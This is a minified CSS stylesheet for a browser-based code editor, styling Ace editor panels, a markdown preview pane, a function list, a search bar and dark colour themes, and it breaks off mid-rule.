div#kbshortcutmenu{background-color:#000;opacity:0.75;filter:alpha(opacity=75);color:#FFF;box-shadow:-5px 4px 5px rgba(0,0,0,0.2);-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}.edit_content .resize{position:absolute;background:#000;cursor:col-resize;margin-left:-5px;background-color:#f6f6f6;background-color:rgba(0,0,0,0.01);background:url("../../../images/common/resize.png") 0px 50% no-repeat;height:100%;width:10px;left:100%;z-index:100;}.edit_content .resize:hover{background-color:#eee;background-color:rgba(0,0,0,0.1);}.edit_content .resize.resize_active{background-color:#ddd;background-color:rgba(0,0,0,0.2);}.edit_content.markdown_full .ace_editor{width:100% !important;}.edit_content.markdown_full .resize{display:none;}.edit_content.markdown_full .edit_right_frame{width:0 !important;}.edit_right_frame{position:fixed;top:59px;right:0px;width:40%;bottom:0;background:#fff;border-left:1px solid #ddd;z-index:99;overflow:visible;}.edit_right_frame .mask_view{z-index:9999;opacity:0.05;filter:alpha(opacity=5);}.edit_right_frame .right_main{position:absolute;width:100%;height:100%;overflow:auto;}.edit_right_frame .preview_frame{position:absolute;top:0px;right:0;bottom:0;width:100%;background:#fff;}.edit_right_frame .preview_markdown_tool,.edit_right_frame .function_list_tool,.edit_right_frame .preview_url_tool{width:100%;height:25px;border-bottom:1px solid #ddd;}.edit_right_frame .preview_markdown_tool .box,.edit_right_frame .function_list_tool .box,.edit_right_frame .preview_url_tool .box{width:105px;height:25px;position:absolute;top:0px;right:0px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_tool .box a,.edit_right_frame .function_list_tool .box a,.edit_right_frame .preview_url_tool .box a{font-weight:800;text-decoration:none;border:1px solid rgba(200,200,200,0.01);display:inline-block;margin-top:1px;margin-left:2px;font-size:1.25em;position:relative;padding:0px 5px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_tool .box a .font-icon,.edit_right_frame .function_list_tool .box a .font-icon,.edit_right_frame .preview_url_tool .box a .font-icon{color:#999;}.edit_right_frame .preview_markdown_tool .box a:hover,.edit_right_frame .function_list_tool .box a:hover,.edit_right_frame .preview_url_tool .box a:hover{border:1px solid #ccc;box-shadow:0 0 20px rgba(0,0,0,0.2) inset;}.edit_right_frame .preview_url_frame .preview_frame_content{position:absolute;right:0px;left:0px;bottom:0px;overflow:auto;top:25px;background:#fff;}.edit_right_frame .preview_url_frame .input_content{position:absolute;height:27px;right:100px;left:0px;}.edit_right_frame .preview_url_frame .input_content input{height:23px;border:none;border-right:1px solid #ddd;width:100%;padding-right:10px;text-shadow:1px 1px 3px #CCE;outline:none;color:#888;font-size:1.15em;box-shadow:#ddd 0px 0px 30px inset;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.edit_right_frame .preview_url_frame .input_content input:focus{box-shadow:#bbb 0px 0px 30px inset;}.edit_right_frame .preview_url_frame .box{border-left:1px solid #eee;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool{border:none;height:inherit;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box{position:fixed;bottom:0.1px;-webkit-transform:translateZ(0);z-index:999;top:70px;right:25px;background:rgba(200,200,200,0.2);opacity:0.6;filter:alpha(opacity=60);width:35px;height:140px;border:none;border-radius:0;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box .content{position:absolute;width:35px;top:0;left:0;height:100%;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a{margin:0;padding:0;display:block;text-align:center;height:35px;border:none;line-height:35px;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a .font-icon{color:#444;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a:hover{border:none;background:#bbb;color:#000;box-shadow:none;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a:hover .font-icon{color:#222;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar{position:fixed;bottom:0.1px;z-index:999;-webkit-transform:translateZ(0);height:29px;margin-top:5px;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;left:420px;width:360px;top:-6px;border-left:1px solid #ddd;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .content{position:absolute;top:0;left:0;height:100%;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools{width:26px;height:100%;display:inline-block;text-decoration:none;text-align:center;margin:0;line-height:30px;float:left;padding:0;color:#666;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools:hover{background:#ccc;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split{width:10px;color:#ccc;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split:hover{background:none;}.edit_right_frame .preview_markdown_frame .markdown_preview{padding:10px 35px 100px 35px;}.edit_right_frame .preview_markdown_frame .markdown_help{width:650px;background:#fff;height:80%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:70px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_help h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:20px;}.edit_right_frame .preview_markdown_frame .markdown_help .content{height:100%;overflow:auto;margin:10px;padding-bottom:20px;margin-right:0;}.edit_right_frame .preview_markdown_frame .markdown_help p{margin:0;}.edit_right_frame .preview_markdown_frame .markdown_help h5{font-weight:800;}.edit_right_frame .preview_markdown_frame .markdown_help pre{border-radius:4px;background:#eee;color:#777;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;font-size:12px;}.edit_right_frame .preview_markdown_frame .markdown_help .col-md-4{width:35%;padding-bottom:70px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box{width:300px;background:#fff;height:60%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:70px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_menu_box h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:22px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .content{height:100%;overflow:auto;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu ul{padding:10px 10px 80px 10px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li{font-size:1em;list-style:none;text-overflow:ellipsis;white-space:nowrap;line-height:1.0em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li a{display:block;text-decoration:none;padding:5px 6px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li a:hover{background:#def;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h2{margin-left:2em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h3{margin-left:3.5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h4{margin-left:5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h5{margin-left:6.5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h6{margin-left:8em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .tools_markdown_more{position:absolute;top:20px;right:10px;}.edit_right_frame .preview_markdown_frame .markdown_setting{width:160px;height:auto;background:#fff;border:1px solid #ddd;z-index:10;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:175px;right:60px;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_setting ul{padding:0;margin:10px 0;}.edit_right_frame .preview_markdown_frame .markdown_setting ul li{width:100%;height:25px;list-style:none;overflow:hidden;}.edit_right_frame .preview_markdown_frame .markdown_setting ul li.line{height:1px;background:#ddd;margin:5px 0;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a,.edit_right_frame .preview_markdown_frame .markdown_setting ul a:visited{display:block;line-height:25px;text-decoration:none;padding:0 0 0 20px;color:#444;overflow:hidden;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a i{padding-right:5px;color:#888;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a:hover{background:#63acff;color:#fff;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a:hover i{color:#fff;}.edit_right_frame .function_list .function_list_tool{height:100px;width:100%;}.edit_right_frame .function_search{position:absolute;top:29px;left:0;height:25px;right:5px;}.edit_right_frame .function_search input{padding:4px 2%;color:#222;margin:0 3%;width:90%;border-radius:3px;}.edit_right_frame .function_search .search_reset{position:absolute;top:5px;right:5%;font-size:1.25em;color:#aaa;display:block;cursor:pointer;}.edit_right_frame .function_search .search_reset:hover{color:#888;}.edit_right_frame .frame_right .function_list_parent{top:57px;}.edit_right_frame .function_list_box .cell b{color:#378eef;}.edit_right_frame .function_list_box .row_select .cell b{color:#ff9;}.edit_right_frame .function_list_tool{border:none;}.edit_right_frame .function_list_tool .box{width:100%;right:0px;overflow:hidden;background:#fff;}.edit_right_frame .function_list_tool .box span{display:block;padding:1px 10px;float:left;line-height:27px;}.edit_right_frame .function_list_tool .box a{display:block;float:right;margin-right:5px;}.edit_right_frame .function_list_parent{position:absolute;top:55px;right:0;bottom:15px;width:100%;background:#fff;}.edit_right_frame .function_list_box{padding:5px;-webkit-text-size-adjust:none;overflow:auto;margin-right:2px;height:100%;}.edit_right_frame .function_list_box .row_hover{background:#ddd;border-radius:3px;}.edit_right_frame .function_list_box .row_select{background:#63acff;color:#fff;border-radius:3px;}.edit_right_frame .function_list_box .cell_null{padding:10px 5px;color:#999;text-align:center;}.edit_right_frame .function_list_box .list_row{padding:2px 5px;cursor:default;font-family:Tahoma, Arial;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.edit_right_frame .function_list_box .list_row.row_hover{background:#ddd;border-radius:3px;}.edit_right_frame .function_list_box .list_row.row_select{background:#63acff;color:#fff;border-radius:3px;}.edit_right_frame .function_list_box .list_row .icon{font-family:FontAwesome;font-style:normal;width:20px;display:inline-block;text-decoration:inherit;font-size:10px;-webkit-transform:scale(0.8,0.8);transform:scale(0.8,0.8);}.edit_right_frame .function_list_box .list_row span{cursor:default;}.edit_right_frame .function_list_box .list_row.mark .icon{color:#666;}.edit_right_frame .function_list_box .list_row.mark .icon:before{content:"\f005";}.edit_right_frame .function_list_box .list_row.mark,.edit_right_frame .function_list_box .list_row.class{background:#eee;font-weight:800;border-radius:3px;}.edit_right_frame .function_list_box .list_row.mark.row_select,.edit_right_frame .function_list_box .list_row.class.row_select{color:#fff;background:#63acff;}.edit_right_frame .function_list_box .list_row.row_select .icon{color:#fff !important;}.edit_right_frame .function_list_box .list_row.class .icon{color:#888;}.edit_right_frame .function_list_box .list_row.class .icon:before{content:"\f0c9";}.edit_right_frame .function_list_box .list_row.function .icon{color:#378eef;}.edit_right_frame .function_list_box .list_row.function .icon:before{content:"\f111";}.edit_right_frame .function_list_box .list_row.function_define .icon{color:#98c878;}.edit_right_frame .function_list_box .list_row.function_value .icon{color:#ffb16d;}.edit_right_frame .function_list_box .list_row.function_var .icon{color:#008641;}.share_page_passowrd{margin:0 auto;width:220px;height:120p;margin-top:17%;border:1px solid #ddd;border-top:3px solid #666;padding:40px;border-radius:5px;background:#f6f6f6;}.share_page_passowrd b{font-size:20px;display:block;margin-bottom:20px;}.share_page_passowrd input{height:32px;display:inline-block;width:150px;padding:0px 5px;margin-right:10px;margin-bottom:10px;}.share_page_error{margin:0 auto;width:400px;margin-top:17%;border:1px solid #eee;padding:30px;border-radius:5px;background:#f6f6f6;font-size:1.25em;}.share_page_error b{font-size:25px;display:block;margin-bottom:20px;}.edit_content.markdown_full_page pre.ace_editor{width:100% !important;}.edit_content.markdown_full_page .resize{display:none;}.edit_content.markdown_full_page .edit_right_frame{top:-60px;left:-1px;right:0;width:100% !important;bottom:0;}.edit_content.markdown_full_page .edit_right_frame .right_main{width:100% !important;}.edit_content.markdown_full_page .edit_right_frame .display_markdown{width:100% !important;background:none;}.edit_content.markdown_full_page .edit_right_frame .markdown_preview{width:80%;padding:50px 0;}.edit_content.markdown_full_page .edit_right_frame i.icon-resize-full:before{content:"\f066";}.edit_content.markdown_full_page .edit_right_frame .preview_markdown_tool .toolbar{width:80%;left:10%;border:none;border-bottom:1px solid #ddd;background:rgba(240,240,240,0.5);}.edit_content.markdown_full_page .edit_right_frame .preview_markdown_tool .toolbar{display:none;}.edit_content.markdown_full_page a[markdown_action=tool_markdown_full]{pointer-events:none;}.edit_content.markdown_full_page a[markdown_action=tool_markdown_full] i.font-icon{color:#ccc !important;}.edit_content.markdown_full a[markdown_action=tool_markdown_max]{display:none;pointer-events:none;}.edit_content.markdown_full a[markdown_action=tool_markdown_max] i.font-icon{color:#ccc !important;}.markdown_preview{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;text-align:justify;margin:auto;font-size:13px;line-height:1.6em;color:#555;}.markdown_preview article,.markdown_preview footer,.markdown_preview header,.markdown_preview nav{width:700px;margin:0 auto;}.markdown_preview article{margin-top:4em;margin-bottom:4em;min-height:400px;}.markdown_preview footer{margin-bottom:50px;}.markdown_preview video{margin:2em 0;border:1px solid #ddd;}.markdown_preview nav{font-size:.9em;font-style:italic;border-bottom:1px solid #ddd;padding:1em 0;}.markdown_preview nav p{margin:0;}.markdown_preview details{margin:15px 0;}.markdown_preview summary{cursor:pointer;padding:4px;}.markdown_preview summary:focus{outline:none;box-shadow:0 0 3px #2196F3;}.markdown_preview .h1,.markdown_preview h1{font-size:2.2em;}.markdown_preview .h2,.markdown_preview h2{font-size:1.9em;}.markdown_preview .h3,.markdown_preview h3{font-size:1.6em;}.markdown_preview .h4,.markdown_preview h4{font-size:1.3em;}.markdown_preview .h5,.markdown_preview h5{font-size:1.2em;}.markdown_preview .h6,.markdown_preview h6{font-size:1.1em;}.markdown_preview .h1,.markdown_preview .h2,.markdown_preview .h3,.markdown_preview .h4,.markdown_preview .h5,.markdown_preview .h6,.markdown_preview h1,.markdown_preview h2,.markdown_preview h3,.markdown_preview h4,.markdown_preview h5,.markdown_preview h6{font-family:inherit;font-weight:500;color:#333;line-height:1.5em;padding:0;margin:1em 0 0.5em 0;}.markdown_preview .h1,.markdown_preview h1{letter-spacing:1px;border-bottom:1px solid #ddd;}.markdown_preview .h2,.markdown_preview h2{padding-bottom:0.15em;}.markdown_preview p{-webkit-hypens:auto;-moz-hypens:auto;hyphens:auto;margin:10px 0;word-wrap:break-word;}.markdown_preview blockquote{margin-left:1em;padding:10px 20px;margin:10px 0 20px 0;border-left:10px solid #ddd;background:#f6f6f6;}.markdown_preview blockquote p{margin:0;}.markdown_preview code{padding:2px 4px;color:#c7254e;background-color:#f9f2f4;border-radius:4px;}.markdown_preview pre{display:block;padding:0;overflow:auto;margin:0 0 10px;font-size:1em;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333;background:none;border-radius:4px;}.markdown_preview code,.markdown_preview kbd,.markdown_preview pre,.markdown_preview samp{font-family:Consolas, 'Liberation Mono', 'Ubuntu Mono', Menlo, Courier, sans-serif;}.markdown_preview pre code{background:#f8f8f8;color:#777;white-space:pre-wrap;padding:6px 1em;border:1px solid #eee;display:block;}.markdown_preview a{color:#1980e6;text-decoration:none;}.markdown_preview a:hover{text-decoration:underline;}.markdown_preview a img{border:none;}.markdown_preview img{max-width:100%;}.markdown_preview h1 a,.markdown_preview h1 a:hover{text-decoration:none;}.markdown_preview hr{border:0 none;height:4px;margin:1.2em 0;background:rgba(0,0,0,0) url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;}@media screen and (min-width:900px){.markdown_preview body{ width:900px;}}.markdown_preview ul,.markdown_preview ol{padding:0.5em 0 0.5em 3em;}.markdown_preview table{border-collapse:collapse;border-spacing:0;margin-bottom:20px;}.markdown_preview table thead{background:#eee;}.markdown_preview table td,.markdown_preview table th{padding:.5em;border:1px solid #ddd;line-height:1.5;}.markdown_preview .markdown-latex{text-align:center;margin-bottom:1.5em;font-size:1.6em;color:#000;}.markdown_preview .latex-inline .katex-display{display:inline-block;font-size:0.8em;}.markdown_preview .markdown_menu ul{padding:0 10px 20px 20px;}.markdown_preview .markdown_menu li{font-size:14px;list-style:none;line-height:1.8em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.markdown_preview .markdown_menu_h2{padding-left:2em;}.markdown_preview .markdown_menu_h3{padding-left:4em;}.markdown_preview .markdown_menu_h4{padding-left:6em;}.markdown_preview .markdown_menu_h5{padding-left:8em;}.markdown_preview .markdown_menu_h6{padding-left:10em;}.markdown_preview div .hljs{color:#666;}.markdown_preview .hljs-comment,.markdown_preview .hljs-quote{color:#8e908c;}.markdown_preview .hljs-variable,.markdown_preview .hljs-template-variable,.markdown_preview .hljs-tag,.markdown_preview .hljs-name,.markdown_preview .hljs-selector-id,.markdown_preview .hljs-selector-class,.markdown_preview .hljs-regexp,.markdown_preview .hljs-deletion{color:#c82829;}.markdown_preview .hljs-number,.markdown_preview .hljs-built_in,.markdown_preview .hljs-builtin-name,.markdown_preview .hljs-literal,.markdown_preview .hljs-type,.markdown_preview .hljs-params,.markdown_preview .hljs-meta,.markdown_preview .hljs-link{color:#f5871f;}.markdown_preview .hljs-attribute{color:#eab700;}.markdown_preview .hljs-string,.markdown_preview .hljs-symbol,.markdown_preview .hljs-bullet,.markdown_preview .hljs-addition{color:#718c00;}.markdown_preview .hljs-title,.markdown_preview .hljs-section{color:#4271ae;}.markdown_preview .hljs-keyword,.markdown_preview .hljs-selector-tag{color:#8959a8;}.markdown_preview .hljs{display:block;overflow-x:auto;color:#4d4d4c;padding:0.5em;}.markdown_preview .hljs-emphasis{font-style:italic;}.markdown_preview .hljs-strong{font-weight:bold;}.code_theme_black .markdown_preview{background:#333;color:#bbb;}.code_theme_black .markdown_preview blockquote{border-color:#555;background:#444;}.code_theme_black .markdown_preview pre,.code_theme_black .markdown_preview code,.code_theme_black .markdown_preview pre code{color:#777;border-color:#444;background:#444;}.code_theme_black .markdown_preview code{color:#C5AC18;background:#555;background:rgba(255,255,255,0.15);}.code_theme_black .markdown_preview a{color:#FFA500;}.code_theme_black .markdown_preview hr{border-bottom:1px solid #444;background-image:none;}.code_theme_black .markdown_preview .h1,.code_theme_black .markdown_preview .h2,.code_theme_black .markdown_preview .h3,.code_theme_black .markdown_preview .h4,.code_theme_black .markdown_preview .h5,.code_theme_black .markdown_preview .h6,.code_theme_black .markdown_preview h1,.code_theme_black .markdown_preview h2,.code_theme_black .markdown_preview h3,.code_theme_black .markdown_preview h4,.code_theme_black .markdown_preview h5,.code_theme_black .markdown_preview h6{color:#fff;}.code_theme_black .markdown_preview table thead{background:#3e3e3e;}.code_theme_black .markdown_preview table td,.code_theme_black .markdown_preview table th{border-color:#444;}.code_theme_black .markdown_preview .markdown-latex{color:#fff;}.code_theme_black .markdown_preview div .hljs{display:block;overflow-x:auto;padding:.5em;background:#23241f;}.code_theme_black .markdown_preview .hljs,.code_theme_black .markdown_preview .hljs-subst,.code_theme_black .markdown_preview .hljs-tag{color:#f8f8f2;}.code_theme_black .markdown_preview .hljs-emphasis,.code_theme_black .markdown_preview .hljs-strong{color:#a8a8a2;}.code_theme_black .markdown_preview .hljs-bullet,.code_theme_black .markdown_preview .hljs-link,.code_theme_black .markdown_preview .hljs-literal,.code_theme_black .markdown_preview .hljs-number,.code_theme_black .markdown_preview .hljs-quote,.code_theme_black .markdown_preview .hljs-regexp{color:#ae81ff;}.code_theme_black .markdown_preview .hljs-code,.code_theme_black .markdown_preview .hljs-section,.code_theme_black .markdown_preview .hljs-selector-class,.code_theme_black .markdown_preview .hljs-title{color:#a6e22e;}.code_theme_black .markdown_preview .hljs-strong{font-weight:700;}.code_theme_black .markdown_preview .hljs-emphasis{font-style:italic;}.code_theme_black .markdown_preview .hljs-attr,.code_theme_black .markdown_preview .hljs-keyword,.code_theme_black .markdown_preview .hljs-name,.code_theme_black .markdown_preview .hljs-selector-tag{color:#f92672;}.code_theme_black .markdown_preview .hljs-attribute,.code_theme_black .markdown_preview .hljs-symbol{color:#66d9ef;}.code_theme_black .markdown_preview .hljs-class .hljs-title,.code_theme_black .markdown_preview .hljs-params{color:#f8f8f2;}.code_theme_black .markdown_preview .hljs-addition,.code_theme_black .markdown_preview .hljs-built_in,.code_theme_black .markdown_preview .hljs-builtin-name,.code_theme_black .markdown_preview .hljs-selector-attr,.code_theme_black .markdown_preview .hljs-selector-id,.code_theme_black .markdown_preview .hljs-selector-pseudo,.code_theme_black .markdown_preview .hljs-string,.code_theme_black .markdown_preview .hljs-template-variable,.code_theme_black .markdown_preview .hljs-type,.code_theme_black .markdown_preview .hljs-variable{color:#e6db74;}.code_theme_black .markdown_preview .hljs-comment,.code_theme_black .markdown_preview .hljs-deletion,.code_theme_black .markdown_preview .hljs-meta{color:#75715e;}.ace_optionsMenuEntry{height:22px;}.ace_optionsMenuCommand{float:left;width:210px;}.context-menu-list .context-menu-item.line_top{border-top:1px solid #eee !important;}body .ace_editor{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;margin:0;padding:0;position:absolute;height:100%;left:0px;right:0%;background:#fff;}body .ace_editor .ace_scrollbar{right:3px;}body .ace_editor .ace_hidden-cursors .ace_cursor{opacity:0.7;}body .ace_editor.ace-tomorrow .ace_cursor{color:#3c3434;}body .ace_editor.ace_multiselect .ace_cursor{border-left-width:2px;}body .ace_editor .ace_indent-guide{height:103%;display:inline-block;}body .ace_editor .ace_line{line-height:1.3em;line-height:inherit \9;}body .ace_editor span.ace_heading{font-weight:800;}body .ace_editor.ace_autocomplete{padding:0px;box-shadow:0px 2px 10px rgba(0,0,0,0.3);margin-left:5px;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px 0 rgba(0,0,0,0), inset -1px -1px 0 rgba(0,0,0,0);font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;background:#fff !important;}body .ace_editor.ace_autocomplete .ace_scrollbar-v{padding:0px;right:0px;}body .ace_editor.ace_autocomplete .ace_line{padding-left:6px;line-height:1.5em;}body .ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line{background:#63acff !important;border-radius:0px;z-index:10;}body .ace_editor.ace_autocomplete .ace_line-hover{border:none;margin-top:0;background:#e6e6e6;border-radius:0px;}body .ace_editor.ace_autocomplete .ace_selected{color:#fff;}body .ace_editor.ace_autocomplete .ace_completion-highlight{color:#2882be;}body .ace_editor.ace_autocomplete .ace_rightAlignedText{color:#aaa;}body .ace_editor.ace_autocomplete .ace_selected .ace_completion-highlight{color:#cfe8ff !important;}body .ace_editor.ace_autocomplete .ace_selected .ace_rightAlignedText{color:#fff;z-index:10;opacity:0.5;filter:alpha(opacity=50);font-size:0.9em;}body .ace_editor .ace_content .ace_marker-layer .ace_selected-word{background:rgba(210,235,255,0.11);border:1px solid #65b5f5;z-index:10;}body .ace_editor .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FF9800;background:#FFC107;}body .ace_editor .ace_content .ace_text-layer .ace_keyword{text-shadow:0 0 0.2px;}body .ace_editor.ace-github{color:#444;}body .ace_editor.ace-kuroir{background:#f9f9f9;}body .ace_editor.ace-solarized-light{background:#FDF6E3;}body .ace_editor.ace-ambiance{background:#202020;}body .ace_editor.ace-monokai{background:#272822;}body .ace_editor.ace-idle-fing{background:#333;}body .ace_editor.ace-pastel-on-dark{background:#2C2828;}body .ace_editor.ace-solarized-dark{background:#002B36;}body .ace_editor.ace-twilight{background:#141414;}body .ace_editor.ace-idle-fingers{background:#333;}body .ace_editor.ace-tomorrow-night-blue{background:#002451;}body .ace_editor.ace-tomorrow-night-eighties{background:#2d2d2d;}body .ace_editor.ace-eclipse .ace_gutter{border-right:3px solid #6ce26c !important;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_selected-word{background:rgba(255,255,255,0.1);border:1px solid #4179A7;z-index:10;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FFEB3B;background:#6b6154;}div.ace_tooltip{font-size:1em;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;border:1px solid #e7de81;background-color:#f9f2ad;padding-bottom:6px;color:#333;background-image:none;filter:none;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px transparent, inset -1px -1px transparent;}div.ace_tooltip hr{border:none;border-bottom:1px solid #e7de81;margin:6px 0;}.search_content .ace_search{font-size:13px;border-radius:0px 0px 0px 5px;border-right:0 none;overflow:visible;position:fixed;right:0;background-color:#eee;color:#444;width:100%;max-width:inherit;padding-top:5px;border-top:1px solid #ccc;bottom:0px;}.search_content .ace_search .ace_search_options{text-align:right;position:absolute;top:4px;margin:3px 0 0 20px;}.search_content .ace_search .ace_searchbtn_close{background-position:50% -10%;position:absolute;right:10px;width:18px;height:18px;}.search_content .ace_search .ace_searchbtn_close:hover{background-position:50% 120%;}.search_content .ace_search .ace_search_form,.search_content .ace_search .ace_replace_form{float:inherit;border:none;height:25px;}.search_content .ace_search .ace_search_form .search_info{position:absolute;right:25px;height:25px;line-height:25px;opacity:0.6;filter:alpha(opacity=60);}.search_content .ace_search .ace_search_form .search_at_index,.search_content .ace_search .ace_search_form .search_total_num{padding-left:0.3em;padding-right:0.3em;}.search_content .ace_search .ace_button{margin-left:3px;width:30px;text-align:center;display:inline-block;border-radius:3px;}.search_content .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.search_content .ace_search .ace_search_field{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;background-color:#FFF;border-radius:3px;border:1px solid 